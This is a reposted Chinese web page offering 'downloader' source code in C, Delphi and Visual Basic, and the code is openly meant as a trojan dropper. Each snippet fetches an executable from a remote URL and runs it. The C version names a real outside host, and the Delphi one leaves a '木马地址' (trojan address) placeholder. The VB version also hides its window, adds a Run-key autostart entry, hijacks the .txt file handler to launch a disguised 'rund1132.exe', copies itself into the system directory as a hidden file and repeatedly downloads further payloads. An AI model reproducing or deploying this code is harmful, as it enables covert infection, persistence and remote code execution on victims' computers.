• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

三种语言的下载者源代码:CDelphiVb(转)

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
原始出处:http://www.antcodes.cn/post/17.html
Code Language : C
  1. #include<windows.h>
  2. #include<urlmon.h>
  3. #include<process.h>   
  4. #include<Shellapi.h>   //这里这个头文件是对ShellExecute的定义
  5. #pragma comment (lib,"Urlmon.lib")
  6. int main()
  7. {
  8.           URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:\test.exe",0,NULL);
  9.           ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
  10.           return 0;
  11. }
Parsed in 0.003 seconds
Code Language : Delphi
  1. //调用API
  2. uses
  3. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,
  4. Dialogs, StdCtrls, ExtDlgs, ShellAPI;
  5. //调用的API函数
  6. ShellExecute
  7. URLDownloadTofile
  8. //在Delpihi在窗体运行的那个过程(form1.CREAT)里写上
  9. URLDownloadToFile (0, '木马地址', 'c:\蓝梦泽.exe', 0, 0
  10. ShellExecute (0, 'Open', 'c:\fhm.exe', nil, nil, SW_SHOWNORMAL);
Parsed in 0.009 seconds
Code Language : Visual Basic
  1. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)'延迟1秒
  2. Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  3. Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
  4. Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  5. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  6. Private Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long             ' Note that if you declare the lpData parameter as String, you must pass it By value.
  7. Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  8. Const HKEY_LOCAL_MACHINE = &H80000002
  9. Const REG_SZ = 1                                     ' Unicode nul terminated string
  10. Dim LhKey As Long
  11. Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  12. Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  13. Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  14. Private Sys As String '系统目录
  15. Private US As String '自己
  16. Private Tmp As String '临时文件夹
  17. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  18. Private Sub form_Load()
  19. On Error Resume Next
  20. Dim RegEdit As Object, Apppath As String
  21.     Dim Cp As String
  22. Dim Ret As Long
  23. Dim sCurrentPath As String, sSystemDir As String
  24. sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
  25. form1.Visible = False
  26. Sys = String(255, 0)
  27. Ret = GetSystemDirectory(Sys, 255)
  28. Sys = Left(Sys, Ret) '获得系统目录
  29. US = String(1024, 0) '获得自己的完整路径
  30. Ret = GetModuleFileName(0, US, 1024)
  31. US = Left(US, InStr(US, Chr(0)) - 1)
  32. Tmp = Temp '获得完整临时目录
  33. If Dir(Sys & "\" & "hoho.exe") = "" Then
  34.           Ret = URLDownloadToFile(0, "http://www.lzitw.com/kj/hoho.exe", Sys & "\hoho.exe", 0, 0)
  35.          End If
  36. Cp = Sys & "\system.exe"
  37. Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '写入注册表,以便开机重启
  38. Ret = RegSetvalueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
  39. Ret = RegCloseKey(LhKey)
  40. If InStr(UCase(US), "INETDBS") = 0 Then
  41. End If
  42.  Apppath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)
  43.     '取得当前路径,如果是在根目录下就要去掉一个“\"
  44.     Set RegEdit = CreateObject("WScript.Shell")
  45.     RegEdit.regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys & "\" & "rund1132" & ".exe %1"
  46.  On Error Resume Next
  47.     Dim cmd As String
  48.     cmd = Command()
  49.     If cmd <> "" Then
  50.           Shell "NOTEPAD.EXE " & cmd, vbNormalFocus
  51.     End If
  52. On Error Resume Next
  53. FileCopy sCurrentPath, Sys & "\System.exe"
  54. On Error Resume Next
  55. FileCopy sCurrentPath, Sys & "\" & "\rund1132.exe"
  56. SetAttr Sys & "\" & "\rund1132.exe", 7
  57. '判断程序是否下在运行
  58. If App.PrevInstance Then
  59. End
  60. End If
  61. Kill Sys & "\systrsy.exe"
  62.  Do While Dir(Sys & "\" & "systrsy.exe") = ""
  63.  Ret = URLDownloadToFile(0, "url", Sys & "\systrsy.exe", 0, 0)
  64.  Call Sleep(100000)
  65. Loop
  66.           Shell Sys & "\" & "systrsy" & ".exe", vbNormalFocus
  67.  
Parsed in 0.078 seconds


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
MATLAB符号运算 - 记得回家吃饭发布时间:2022-07-18
下一篇:
matlab中设计低通滤波器 - 那抹阳光1994发布时间:2022-07-18
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap